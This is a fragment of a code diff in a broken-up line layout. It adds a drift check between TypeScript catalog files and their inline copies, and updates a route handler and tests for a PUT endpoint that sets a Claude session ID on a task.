const inlineFiles = ["boot-triage", "catalog-report", "compound-insights", "ops-catalog-audit"];
|
|
72
|
+
|
|
73
|
+
for (const name of inlineFiles) {
|
|
74
|
+
const runtimeSource = await Bun.file(join(catalogDir, `${name}.ts`)).text();
|
|
75
|
+
const inlineSource = await Bun.file(join(catalogDir, `${name}.inline.ts`)).text();
|
|
76
|
+
|
|
77
|
+
expect(inlineSource, `${name}.inline.ts drifted from ${name}.ts`).toBe(runtimeSource);
|
|
78
|
+
}
|
|
79
|
+
});
|
|
80
|
+
|
|
69
81
|
test("every catalog script passes the import allowlist and the script typecheck", () => {
|
|
70
82
|
const failures: string[] = [];
|
|
71
83
|
for (const s of SEED_SCRIPTS) {
|
|
@@ -29,13 +29,13 @@ async function handleRequest(req: {
|
|
|
29
29
|
}): Promise<{ status: number; body: unknown }> {
|
|
30
30
|
const pathSegments = getPathSegments(req.url || "");
|
|
31
31
|
|
|
32
|
-
// PUT /api/tasks/:id/
|
|
32
|
+
// PUT /api/tasks/:id/session - Update Claude session ID
|
|
33
33
|
if (
|
|
34
34
|
req.method === "PUT" &&
|
|
35
35
|
pathSegments[0] === "api" &&
|
|
36
36
|
pathSegments[1] === "tasks" &&
|
|
37
37
|
pathSegments[2] &&
|
|
38
|
-
pathSegments[3] === "
|
|
38
|
+
pathSegments[3] === "session"
|
|
39
39
|
) {
|
|
40
40
|
const taskId = pathSegments[2];
|
|
41
41
|
const reqBody = req.body ? JSON.parse(req.body) : {};
|
|
@@ -233,7 +233,7 @@ describe("Session Attachment", () => {
|
|
|
233
233
|
});
|
|
234
234
|
});
|
|
235
235
|
|
|
236
|
-
describe("API Layer — PUT /api/tasks/:id/
|
|
236
|
+
describe("API Layer — PUT /api/tasks/:id/session", () => {
|
|
237
237
|
test("should update claudeSessionId and return 200", async () => {
|
|
238
238
|
const task = createTaskExtended("Task for API session update", {
|
|
239
239
|
creatorAgentId: "lead-session-test",
|
|
@@ -241,7 +241,7 @@ describe("Session Attachment", () => {
|
|
|
241
241
|
});
|
|
242
242
|
|
|
243
243
|
const sessionId = "api-session-id-67890";
|
|
244
|
-
const response = await fetch(`${baseUrl}/api/tasks/${task.id}/
|
|
244
|
+
const response = await fetch(`${baseUrl}/api/tasks/${task.id}/session`, {
|
|
245
245
|
method: "PUT",
|
|
246
246
|
headers: { "Content-Type": "application/json" },
|
|
247
247
|
body: JSON.stringify({ claudeSessionId: sessionId }),
|
|
@@ -253,7 +253,7 @@ describe("Session Attachment", () => {
|
|
|
253
253
|
});
|
|
254
254
|
|
|
255
255
|
test("should return 404 for invalid task", async () => {
|
|
256
|
-
const response = await fetch(`${baseUrl}/api/tasks/non-existent-task/
|
|
256
|
+
const response = await fetch(`${baseUrl}/api/tasks/non-existent-task/session`, {
|
|
257
257
|
method: "PUT",
|
|
258
258
|
headers: { "Content-Type": "application/json" },
|
|
259
259
|
body: JSON.stringify({ claudeSessionId: "some-session" }),
|
|
@@ -267,7 +267,7 @@ describe("Session Attachment", () => {
|
|
|
267
267
|
creatorAgentId: "lead-session-test",
|
|
268
268
|
});
|
|
269
269
|
|
|
270
|
-
const response = await fetch(`${baseUrl}/api/tasks/${task.id}/
|
|
270
|
+
const response = await fetch(`${baseUrl}/api/tasks/${task.id}/session`, {
|
|
271
271
|
method: "PUT",
|
|
272
272
|
headers: { "Content-Type": "application/json" },
|
|
273
273
|
body: JSON.stringify({}),
|